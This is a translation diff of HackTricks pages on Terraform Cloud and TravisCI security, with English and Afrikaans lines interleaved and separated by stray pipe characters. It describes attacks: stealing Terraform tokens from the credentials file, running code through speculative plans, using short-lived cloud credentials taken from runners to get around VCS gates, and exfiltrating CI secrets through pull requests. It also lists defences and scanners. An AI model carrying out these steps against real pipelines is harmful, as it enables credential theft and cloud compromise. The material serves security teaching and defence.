env | grep -i gcp || true
|
||||
env | grep -i aws || true
|
||||
```
|
||||
|
||||
Expected files on the runner working directory:
|
||||
Verwagte lêers in die runner se werkgids:
|
||||
- GCP:
|
||||
- `tfc-google-application-credentials` (Workload Identity Federation JSON config)
|
||||
- `tfc-gcp-token` (short-lived GCP access token)
|
||||
- `tfc-google-application-credentials` (Workload Identity Federation JSON-konfigurasie)
|
||||
- `tfc-gcp-token` (kortlopende GCP toegangstoken)
|
||||
- AWS:
|
||||
- `tfc-aws-shared-config` (web identity/OIDC role assumption config)
|
||||
- `tfc-aws-token` (short-lived token; some orgs may use static keys)
|
||||
- `tfc-aws-shared-config` (web identity/OIDC rol-aanname-konfigurasie)
|
||||
- `tfc-aws-token` (kortlopende token; sommige organisasies mag statiese sleutels gebruik)
|
||||
|
||||
- Use the short-lived credentials out-of-band to bypass VCS gates:
|
||||
- Gebruik die kortlopende credentials out-of-band om VCS gates te omseil:
|
||||
|
||||
GCP (gcloud):
|
||||
|
||||
```bash
|
||||
export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
|
||||
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
|
||||
gcloud config set project <PROJECT_ID>
|
||||
```
|
||||
|
||||
AWS (AWS CLI):
|
||||
|
||||
```bash
|
||||
export AWS_CONFIG_FILE=./tfc-aws-shared-config
|
||||
export AWS_PROFILE=default
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
|
||||
With these creds, attackers can create/modify/destroy resources directly using native CLIs, sidestepping PR-based workflows that block `apply` via VCS.
|
||||
Met hierdie creds kan aanvallers resources direk skep/wysig/verwyder met behulp van native CLIs, en omseil PR-gebaseerde workflows wat `apply` via VCS blokkeer.
|
||||
|
||||
- Defensive guidance:
|
||||
- Apply least privilege to TFC users/teams and tokens. Audit memberships and avoid oversized owners.
|
||||
- Restrict `plan` permission on sensitive VCS-backed workspaces where feasible.
|
||||
- Enforce provider/data source allowlists with Sentinel policies to block `data "external"` or unknown providers. See HashiCorp guidance on provider filtering.
|
||||
- Prefer OIDC/WIF over static cloud credentials; treat runners as sensitive. Monitor speculative plan runs and unexpected egress.
|
||||
- Detect exfiltration of `tfc-*` credential artifacts and alert on suspicious `external` program usage during plans.
|
||||
- Pas die beginsel van minste voorregte toe op TFC users/teams en tokens. Audit memberships en vermy oorgrootte owners.
|
||||
- Beperk die `plan`-toestemming op sensitiewe VCS-backed workspaces waar moontlik.
|
||||
- Handhaaf provider/data source allowlists met Sentinel-beleide om `data "external"` of onbekende providers te blokkeer. Sien HashiCorp guidance oor provider filtering.
|
||||
- Verkies OIDC/WIF bo statiese cloud credentials; beskou runners as sensitief. Monitor spekulatiewe plan runs en onverwagte egress.
|
||||
- Detect exfiltration van `tfc-*` credential artifacts en waarsku oor verdagte `external` program gebruik tydens plans.
|
||||
|
||||
|
||||
## Compromising Terraform Cloud
|
||||
## Kompromittering van Terraform Cloud
|
||||
|
||||
### Using a token
|
||||
### Gebruik van 'n token
|
||||
|
||||
As **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI stores tokens in plaintext at **`~/.terraform.d/credentials.tfrc.json`**. Stealing this token lets an attacker impersonate the user within the token’s scope.
|
||||
|
||||
Using this token it's possible to get the org/workspace with:
|
||||
As **[explained in this post](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)**, terraform CLI stores tokens in plaintext at **`~/.terraform.d/credentials.tfrc.json`**. Om hierdie token te steel laat 'n aanvaller toe om die gebruiker te impersonate binne die token se scope.
|
||||
|
||||
Met hierdie token is dit moontlik om die org/workspace te kry met:
|
||||
```bash
|
||||
GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
|
||||
Authorization: Bearer <TF_TOKEN>
|
||||
```
|
||||
Dan is dit moontlik om arbitrêre kode uit te voer met **`terraform plan`** soos in die vorige hoofstuk verduidelik.
|
||||
|
||||
Then it's possible to run arbitrary code using **`terraform plan`** as explained in the previous chapter.
|
||||
### Ontsnapping na die cloud
|
||||
|
||||
### Escaping to the cloud
|
||||
As die runner in 'n cloud-omgewing geleë is, is dit moontlik om 'n token van die principal wat aan die runner gekoppel is te bekom en dit out-of-band te gebruik.
|
||||
|
||||
Then, if the runner is located in some cloud environment, it's possible to obtain a token of the principal attached to the runner and use it out of band.
|
||||
|
||||
- **GCP files (present in current run working directory)**
|
||||
- `tfc-google-application-credentials` — JSON config for Workload Identity Federation(WIF) that tells Google how to exchange the external identity.
|
||||
- `tfc-gcp-token` — short‑lived (≈1 hour) GCP access token referenced by the above
|
||||
- **GCP files (teenwoordig in die huidige run working directory)**
|
||||
- `tfc-google-application-credentials` — JSON-konfigurasie vir Workload Identity Federation (WIF) wat Google vertel hoe om die external identity uit te ruil.
|
||||
- `tfc-gcp-token` — kortstondige (≈1 uur) GCP access token wat deur bogenoemde verwys word.
|
||||
|
||||
- **AWS files**
|
||||
- `tfc-aws-shared-config` — JSON for web identity federation/OIDC role assumption
|
||||
(preferred over static keys).
|
||||
- `tfc-aws-token` — short‑lived token, or potentially static IAM keys if misconfigured.
|
||||
- `tfc-aws-shared-config` — JSON vir web identity federation/OIDC role assumption (preferred bo statiese sleutels).
|
||||
- `tfc-aws-token` — kortstondige token, of moontlik statiese IAM-sleutels indien verkeerd gekonfigureer.
|
||||
|
||||
|
||||
## Automatic Audit Tools
|
||||
## Outomatiese ouditgereedskap
|
||||
|
||||
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
|
||||
|
||||
Snyk offers a comprehensive Infrastructure as Code (IaC) scanning solution that detects vulnerabilities and misconfigurations in Terraform, CloudFormation, Kubernetes, and other IaC formats.
|
||||
|
||||
- **Features:**
|
||||
- Real-time scanning for security vulnerabilities and compliance issues.
|
||||
- Integration with version control systems (GitHub, GitLab, Bitbucket).
|
||||
- Automated fix pull requests.
|
||||
- Detailed remediation advice.
|
||||
- **Sign Up:** Create an account on [Snyk](https://snyk.io/).
|
||||
Snyk bied 'n omvattende Infrastructure as Code (IaC) skanderingsoplossing wat kwesbaarhede en miskonfigurasies in Terraform, CloudFormation, Kubernetes en ander IaC-formate opspoor.
|
||||
|
||||
- **Kenmerke:**
|
||||
- Reële-tyd skandering vir sekuriteitskwesbaarhede en nakomingsprobleme.
|
||||
- Integrasie met weergawebeheerstelsels (GitHub, GitLab, Bitbucket).
|
||||
- Outomatiese pull requests met fixes.
|
||||
- Gedetailleerde hersteladvies.
|
||||
- **Registreer:** Skep 'n rekening by [Snyk](https://snyk.io/).
|
||||
```bash
|
||||
brew tap snyk/tap
|
||||
brew install snyk
|
||||
snyk auth
|
||||
snyk iac test /path/to/terraform/code
|
||||
```
|
||||
|
||||
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
|
||||
|
||||
**Checkov** is a static code analysis tool for infrastructure as code (IaC) and also a software composition analysis (SCA) tool for images and open source packages.
|
||||
**Checkov** is 'n statiese kode-analise-instrument vir infrastructure as code (IaC) en ook 'n software composition analysis (SCA) instrument vir images en open source packages.
|
||||
|
||||
It scans cloud infrastructure provisioned using [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), or [OpenTofu](https://opentofu.org/) and detects security and compliance misconfigurations using graph-based scanning.
|
||||
|
||||
It performs [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) which is a scan of open source packages and images for Common Vulnerabilities and Exposures (CVEs).
|
||||
Dit skandeer cloud-infrastruktuur wat voorsien is met behulp van [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md), of [OpenTofu](https://opentofu.org/) en identifiseer sekuriteits- en nakomings-miskonfigurasies deur graf-gebaseerde skandering.
|
||||
|
||||
Dit voer [Software Composition Analysis (SCA) scanning](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) uit, wat 'n skandering is van open source-pakkette en images vir Common Vulnerabilities and Exposures (CVEs).
|
||||
```bash
|
||||
pip install checkov
|
||||
checkov -d /path/to/folder
|
||||
```
|
||||
|
||||
### [terraform-compliance](https://github.com/terraform-compliance/cli)
|
||||
|
||||
From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` is a lightweight, security and compliance focused test framework against terraform to enable negative testing capability for your infrastructure-as-code.
|
||||
|
||||
- **compliance:** Ensure the implemented code is following security standards, your own custom standards
|
||||
- **behaviour driven development:** We have BDD for nearly everything, why not for IaC ?
|
||||
- **portable:** just install it from `pip` or run it via `docker`. See [Installation](https://terraform-compliance.com/pages/installation/)
|
||||
- **pre-deploy:** it validates your code before it is deployed
|
||||
- **easy to integrate:** it can run in your pipeline (or in git hooks) to ensure all deployments are validated.
|
||||
- **segregation of duty:** you can keep your tests in a different repository where a separate team is responsible.
|
||||
- **nakoming:** Verseker dat die geïmplementeerde kode sekuriteitsstandaarde en jou eie pasgemaakte standaarde volg
|
||||
- **gedragsgedrewe ontwikkeling:** Ons het BDD vir byna alles; waarom nie vir IaC nie?
|
||||
- **draagbaar:** installeer dit net vanaf `pip` of voer dit via `docker` uit. See [Installation](https://terraform-compliance.com/pages/installation/)
|
||||
- **voor-ontplooiing:** dit valideer jou kode voordat dit ontplooi word
|
||||
- **maklik om te integreer:** dit kan in jou pipeline (of in git hooks) loop om te verseker dat alle ontplooiings gevalideer word.
|
||||
- **skeiding van pligte:** jy kan jou toetse in 'n ander repository hou waar 'n aparte span verantwoordelik is.
|
||||
|
||||
> [!NOTE]
|
||||
> Unfortunately if the code is using some providers you don't have access to you won't be able to perform the `terraform plan` and run this tool.
|
||||
|
||||
> Ongelukkig, as die kode sekere providers gebruik waartoe jy nie toegang het nie, sal jy nie die `terraform plan` kan uitvoer en hierdie tool kan gebruik nie.
|
||||
```bash
|
||||
pip install terraform-compliance
|
||||
terraform plan -out=plan.out
|
||||
terraform-compliance -f /path/to/folder
|
||||
```
|
||||
|
||||
### [tfsec](https://github.com/aquasecurity/tfsec)
|
||||
|
||||
From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec uses static analysis of your terraform code to spot potential misconfigurations.
|
||||
|
||||
- ☁️ Checks for misconfigurations across all major (and some minor) cloud providers
|
||||
- ⛔ Hundreds of built-in rules
|
||||
- 🪆 Scans modules (local and remote)
|
||||
- ➕ Evaluates HCL expressions as well as literal values
|
||||
- ↪️ Evaluates Terraform functions e.g. `concat()`
|
||||
- 🔗 Evaluates relationships between Terraform resources
|
||||
- 🧰 Compatible with the Terraform CDK
|
||||
- 🙅 Applies (and embellishes) user-defined Rego policies
|
||||
- 📃 Supports multiple output formats: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
|
||||
- 🛠️ Configurable (via CLI flags and/or config file)
|
||||
- ⚡ Very fast, capable of quickly scanning huge repositories
|
||||
Uit die [**docs**](https://github.com/aquasecurity/tfsec): tfsec gebruik statiese analise van jou terraform-kode om potensiële miskonfigurasies op te spoor.
|
||||
|
||||
- ☁️ Kontroleer vir miskonfigurasies oor alle groot (en sommige kleiner) wolkverskaffers
|
||||
- ⛔ Honderde ingeboude reëls
|
||||
- 🪆 Skandeer modules (lokale en afgeleë)
|
||||
- ➕ Evalueer HCL-uitdrukkings sowel as letterlike waardes
|
||||
- ↪️ Evalueer Terraform-funksies bv. `concat()`
|
||||
- 🔗 Evalueer verhoudings tussen Terraform-hulpbronne
|
||||
- 🧰 Kompatibel met die Terraform CDK
|
||||
- 🙅 Pas gebruikersgedefinieerde Rego-beleide toe (en brei dit uit)
|
||||
- 📃 Ondersteun verskeie uitvoerformate: lovely (default), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
|
||||
- 🛠️ Konfigureerbaar (via CLI-vlajies en/of konfigurasielêer)
|
||||
- ⚡ Baie vinnig, in staat om vinnig groot repositories te skandeer
|
||||
```bash
|
||||
brew install tfsec
|
||||
tfsec /path/to/folder
|
||||
```
|
||||
### [terrascan](https://github.com/tenable/terrascan)
|
||||
|
||||
Terrascan is 'n statiese code-ontleder vir Infrastructure as Code. Terrascan stel jou in staat om:
|
||||
|
||||
- Skandeer moeiteloos infrastructure as code vir wankonfigurasies.
|
||||
- Monitor voorsienigde cloud infrastructure vir konfigurasiewijzigings wat posture drift inlei, en stel terugkeer na 'n veilige houding in staat.
|
||||
- Opspoor security vulnerabilities en compliance-oortredings.
|
||||
- Verminder risiko's voordat cloud native infrastructure voorsien word.
|
||||
- Bied fleksibiliteit om plaaslik te loop of te integreer met jou CI\CD.
|
||||
```bash
|
||||
brew install terrascan
|
||||
terrascan scan -d /path/to/folder
|
||||
```
|
||||
### [KICKS](https://github.com/Checkmarx/kics)
|
||||
|
||||
Find security vulnerabilities, compliance issues, and infrastructure misconfigurations early in the development cycle of your infrastructure-as-code with **KICS** by Checkmarx.
|
||||
|
||||
**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, it is open source and is a must-have for any cloud native project.
|
||||
Vind sekuriteitskwesbaarhede, nakomingsprobleme en infrastruktuur-miskonfigurasies vroeg in die ontwikkelingsiklus van jou infrastructure-as-code met **KICS** deur Checkmarx.
|
||||
|
||||
**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, dit is open source en onontbeerlik vir enige cloud native projek.
|
||||
```bash
|
||||
docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
|
||||
```
|
||||
|
||||
### [Terrascan](https://github.com/tenable/terrascan)
|
||||
|
||||
From the [**docs**](https://github.com/tenable/terrascan): Terrascan is a static code analyzer for Infrastructure as Code. Terrascan allows you to:
|
||||
|
||||
- Seamlessly scan infrastructure as code for misconfigurations.
|
||||
- Monitor provisioned cloud infrastructure for configuration changes that introduce posture drift, and enables reverting to a secure posture.
|
||||
- Detect security vulnerabilities and compliance violations.
|
||||
- Mitigate risks before provisioning cloud native infrastructure.
|
||||
- Offers flexibility to run locally or integrate with your CI\CD.
|
||||
Volgens die [**docs**](https://github.com/tenable/terrascan): Terrascan is 'n statiese kode-ontleder vir Infrastructure as Code. Terrascan stel jou in staat om:
|
||||
|
||||
- Naatloos Infrastructure as Code op wankonfigurasies te skandeer.
|
||||
- Geprovisioneerde cloud-infrastruktuur te bewaak vir konfigurasiewijzigings wat posture drift inlei, en dit moontlik te maak om terug te keer na 'n veilige postuur.
|
||||
- Sekuriteitskwesbaarhede en nakomingsoortredings te ontdek.
|
||||
- Risiko's te mitigateer voordat cloud-native infrastruktuur voorsien word.
|
||||
- Buigbaarheid te bied om lokaal te loop of met jou CI\CD te integreer.
|
||||
```bash
|
||||
brew install terrascan
|
||||
```
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
|
||||
- [Atlantis Security](atlantis-security.md)
|
||||
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
|
||||
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
|
||||
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
|
||||
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
|
||||
- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
|
||||
- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
|
||||
- [Terraform Cloud API – Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
|
||||
- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
|
||||
- [AWS CLI – OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
|
||||
- [GCP provider – Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
|
||||
- [Terraform – Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
|
||||
- [Snyk Labs – Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
|
||||
- [Terraform Cloud-tokenmisbruik verander 'n spekulatiewe plan in remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
|
||||
- [Terraform Cloud toegangsregte](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
|
||||
- [Terraform Cloud API – Wys Workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
|
||||
- [AWS provider-konfigurasie](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
|
||||
- [AWS CLI – OIDC rol-aanname](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
|
||||
- [GCP provider – Gebruik van Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
|
||||
- [Terraform – Sensitiewe veranderlikes](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
|
||||
- [Snyk Labs – Gitflops: gevare van Terraform-automatiseringsplatforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Github PRs are welcome explaining how to (ab)use those platforms from an attacker perspective
|
||||
Github PRs is welkom wat verduidelik hoe om (mis)bruik te maak van daardie platforms vanuit 'n aanvaller se perspektief
|
||||
|
||||
- Drone
|
||||
- TeamCity
|
||||
@@ -11,9 +11,6 @@ Github PRs are welcome explaining how to (ab)use those platforms from an attacke
|
||||
- Rancher
|
||||
- Mesosphere
|
||||
- Radicle
|
||||
- Any other CI/CD platform...
|
||||
- Enige ander CI/CD platform...
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,68 +1,65 @@
|
||||
# TravisCI Security
|
||||
# TravisCI Sekuriteit
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## What is TravisCI
|
||||
## Wat is TravisCI
|
||||
|
||||
**Travis CI** is a **hosted** or on **premises** **continuous integration** service used to build and test software projects hosted on several **different git platform**.
|
||||
**Travis CI** is 'n **gehoste** of op **plek** **deurlopende integrasie** diens wat gebruik word om sagtewareprojekte te bou en te toets wat op verskeie **verskillende git platforms** gehost word.
|
||||
|
||||
{{#ref}}
|
||||
basic-travisci-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Attacks
|
||||
## Aanvalle
|
||||
|
||||
### Triggers
|
||||
|
||||
To launch an attack you first need to know how to trigger a build. By default TravisCI will **trigger a build on pushes and pull requests**:
|
||||
Om 'n aanval te begin, moet jy eers weet hoe om 'n bou te aktiveer. Standaard sal TravisCI **'n bou aktiveer op stoot en trek versoeke**:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Cron Jobs
|
||||
|
||||
If you have access to the web application you can **set crons to run the build**, this could be useful for persistence or to trigger a build:
|
||||
As jy toegang het tot die webtoepassing, kan jy **crons instel om die bou te laat loop**, dit kan nuttig wees vir volharding of om 'n bou te aktiveer:
|
||||
|
||||
.png>)
|
||||
|
||||
> [!NOTE]
|
||||
> It looks like It's not possible to set crons inside the `.travis.yml` according to [this](https://github.com/travis-ci/travis-ci/issues/9162).
|
||||
> Dit lyk of dit nie moontlik is om crons binne die `.travis.yml` in te stel nie volgens [hierdie](https://github.com/travis-ci/travis-ci/issues/9162).
|
||||
|
||||
### Third Party PR
|
||||
### Derdeparty PR
|
||||
|
||||
TravisCI by default disables sharing env variables with PRs coming from third parties, but someone might enable it and then you could create PRs to the repo and exfiltrate the secrets:
|
||||
TravisCI deaktiveer standaard die deel van omgewing veranderlikes met PR's wat van derde partye kom, maar iemand mag dit aktiveer en dan kan jy PR's na die repo skep en die geheime uitbring:
|
||||
|
||||
.png>)
|
||||
|
||||
### Dumping Secrets
|
||||
|
||||
As explained in the [**basic information**](basic-travisci-information.md) page, there are 2 types of secrets. **Environment Variables secrets** (which are listed in the web page) and **custom encrypted secrets**, which are stored inside the `.travis.yml` file as base64 (note that both as stored encrypted will end as env variables in the final machines).
|
||||
Soos verduidelik in die [**basiese inligting**](basic-travisci-information.md) bladsy, is daar 2 tipes geheime. **Omgewing Veranderlikes geheime** (wat op die webblad gelys is) en **aangepaste versleutelde geheime**, wat binne die `.travis.yml` lêer as base64 gestoor word (let daarop dat albei as versleuteld gestoor sal eindig as omgewing veranderlikes in die finale masjiene).
|
||||
|
||||
- To **enumerate secrets** configured as **Environment Variables** go to the **settings** of the **project** and check the list. However, note that all the project env variables set here will appear when triggering a build.
|
||||
- To enumerate the **custom encrypted secrets** the best you can do is to **check the `.travis.yml` file**.
|
||||
- To **enumerate encrypted files** you can check for **`.enc` files** in the repo, for lines similar to `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in the config file, or for **encrypted iv and keys** in the **Environment Variables** such as:
|
||||
- Om **geheime** wat as **Omgewing Veranderlikes** geconfigureer is te **nommer**, gaan na die **instellings** van die **projek** en kyk na die lys. Let egter daarop dat al die projek omgewing veranderlikes wat hier gestel is, sal verskyn wanneer 'n bou geaktiveer word.
|
||||
- Om die **aangepaste versleutelde geheime** te nommer, is die beste wat jy kan doen om die **`.travis.yml` lêer** te **kontroleer**.
|
||||
- Om **versleutelde lêers** te **nommer**, kan jy kyk vir **`.enc` lêers** in die repo, vir lyne soortgelyk aan `openssl aes-256-cbc -K $encrypted_355e94ba1091_key -iv $encrypted_355e94ba1091_iv -in super_secret.txt.enc -out super_secret.txt -d` in die konfigurasielêer, of vir **versleutelde iv en sleutels** in die **Omgewing Veranderlikes** soos:
|
||||
|
||||
.png>)
|
||||
|
||||
### TODO:
|
||||
|
||||
- Example build with reverse shell running on Windows/Mac/Linux
|
||||
- Example build leaking the env base64 encoded in the logs
|
||||
- Voorbeeld bou met omgekeerde skulp wat op Windows/Mac/Linux loop
|
||||
- Voorbeeld bou wat die omgewing base64 geënkodeer in die logs lek
|
||||
|
||||
### TravisCI Enterprise
|
||||
|
||||
If an attacker ends in an environment which uses **TravisCI enterprise** (more info about what this is in the [**basic information**](basic-travisci-information.md#travisci-enterprise)), he will be able to **trigger builds in the the Worker.** This means that an attacker will be able to move laterally to that server from which he could be able to:
|
||||
As 'n aanvaller in 'n omgewing eindig wat **TravisCI enterprise** gebruik (meer inligting oor wat dit is in die [**basiese inligting**](basic-travisci-information.md#travisci-enterprise)), sal hy in staat wees om **bou te aktiveer in die Werker.** Dit beteken dat 'n aanvaller in staat sal wees om lateraal na daardie bediener te beweeg waar hy in staat kan wees om:
|
||||
|
||||
- escape to the host?
|
||||
- compromise kubernetes?
|
||||
- compromise other machines running in the same network?
|
||||
- compromise new cloud credentials?
|
||||
- na die gasheer te ontsnap?
|
||||
- kubernetes te kompromitteer?
|
||||
- ander masjiene wat in dieselfde netwerk loop te kompromitteer?
|
||||
- nuwe wolk geloofsbriewe te kompromitteer?
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
|
||||
- [https://docs.travis-ci.com/user/encrypting-files/](https://docs.travis-ci.com/user/encrypting-files/)
|
||||
- [https://docs.travis-ci.com/user/best-practices-security](https://docs.travis-ci.com/user/best-practices-security)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,48 +1,45 @@
|
||||
# Basic TravisCI Information
|
||||
# Basiese TravisCI Inligting
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Access
|
||||
## Toegang
|
||||
|
||||
TravisCI directly integrates with different git platforms such as Github, Bitbucket, Assembla, and Gitlab. It will ask the user to give TravisCI permissions to access the repos he wants to integrate with TravisCI.
|
||||
TravisCI integreer direk met verskillende git platforms soos Github, Bitbucket, Assembla, en Gitlab. Dit sal die gebruiker vra om TravisCI toestemming te gee om toegang te verkry tot die repos wat hy wil integreer met TravisCI.
|
||||
|
||||
For example, in Github it will ask for the following permissions:
|
||||
Byvoorbeeld, in Github sal dit om die volgende toestemmings vra:
|
||||
|
||||
- `user:email` (read-only)
|
||||
- `read:org` (read-only)
|
||||
- `repo`: Grants read and write access to code, commit statuses, collaborators, and deployment statuses for public and private repositories and organizations.
|
||||
- `user:email` (slegs lees)
|
||||
- `read:org` (slegs lees)
|
||||
- `repo`: Gee lees- en skryftoegang tot kode, verbintenisstatusse, medewerkers, en ontplooiingstatusse vir openbare en private repositories en organisasies.
|
||||
|
||||
## Encrypted Secrets
|
||||
## Geënkripteerde Geheimen
|
||||
|
||||
### Environment Variables
|
||||
### Omgewing Veranderlikes
|
||||
|
||||
In TravisCI, as in other CI platforms, it's possible to **save at repo level secrets** that will be saved encrypted and be **decrypted and push in the environment variable** of the machine executing the build.
|
||||
In TravisCI, soos in ander CI platforms, is dit moontlik om **geheimen op repo vlak te stoor** wat geënkripteer gestoor sal word en **ontsleuteld en in die omgewing veranderlike** van die masjien wat die bou uitvoer, gepush sal word.
|
||||
|
||||
.png>)
|
||||
|
||||
It's possible to indicate the **branches to which the secrets are going to be available** (by default all) and also if TravisCI **should hide its value** if it appears **in the logs** (by default it will).
|
||||
Dit is moontlik om die **takke aan te dui waartoe die geheimen beskikbaar gaan wees** (standaard al) en ook of TravisCI **sy waarde moet wegsteek** as dit **in die logs** verskyn (standaard sal dit).
|
||||
|
||||
### Custom Encrypted Secrets
|
||||
### Pasgemaakte Geënkripteerde Geheimen
|
||||
|
||||
For **each repo** TravisCI generates an **RSA keypair**, **keeps** the **private** one, and makes the repository’s **public key available** to those who have **access** to the repository.
|
||||
|
||||
You can access the public key of one repo with:
|
||||
Vir **elke repo** genereer TravisCI 'n **RSA sleutelpaar**, **hou** die **privaat** een, en maak die repository se **publieke sleutel beskikbaar** vir diegene wat **toegang** tot die repository het.
|
||||
|
||||
Jy kan die publieke sleutel van een repo met toegang:
|
||||
```
|
||||
travis pubkey -r <owner>/<repo_name>
|
||||
travis pubkey -r carlospolop/t-ci-test
|
||||
```
|
||||
|
||||
Then, you can use this setup to **encrypt secrets and add them to your `.travis.yaml`**. The secrets will be **decrypted when the build is run** and accessible in the **environment variables**.
|
||||
Dan kan jy hierdie opstelling gebruik om **geheime te enkripteer en dit by jou `.travis.yaml`** te voeg. Die geheime sal **ontsleuteld word wanneer die bou gedoen word** en beskikbaar wees in die **omgewing veranderlikes**.
|
||||
|
||||
.png>)
|
||||
|
||||
Note that the secrets encrypted this way won't appear listed in the environmental variables of the settings.
|
||||
Let daarop dat die geheime wat op hierdie manier geënkripteer is, nie in die omgewing veranderlikes van die instellings gelys sal word nie.
|
||||
|
||||
### Custom Encrypted Files
|
||||
|
||||
Same way as before, TravisCI also allows to **encrypt files and then decrypt them during the build**:
|
||||
### Pasgemaakte Geënkripteerde Lêers
|
||||
|
||||
Op dieselfde manier as voorheen, laat TravisCI ook toe om **lêers te enkripteer en dit dan tydens die bou te ontsleutel**:
|
||||
```
|
||||
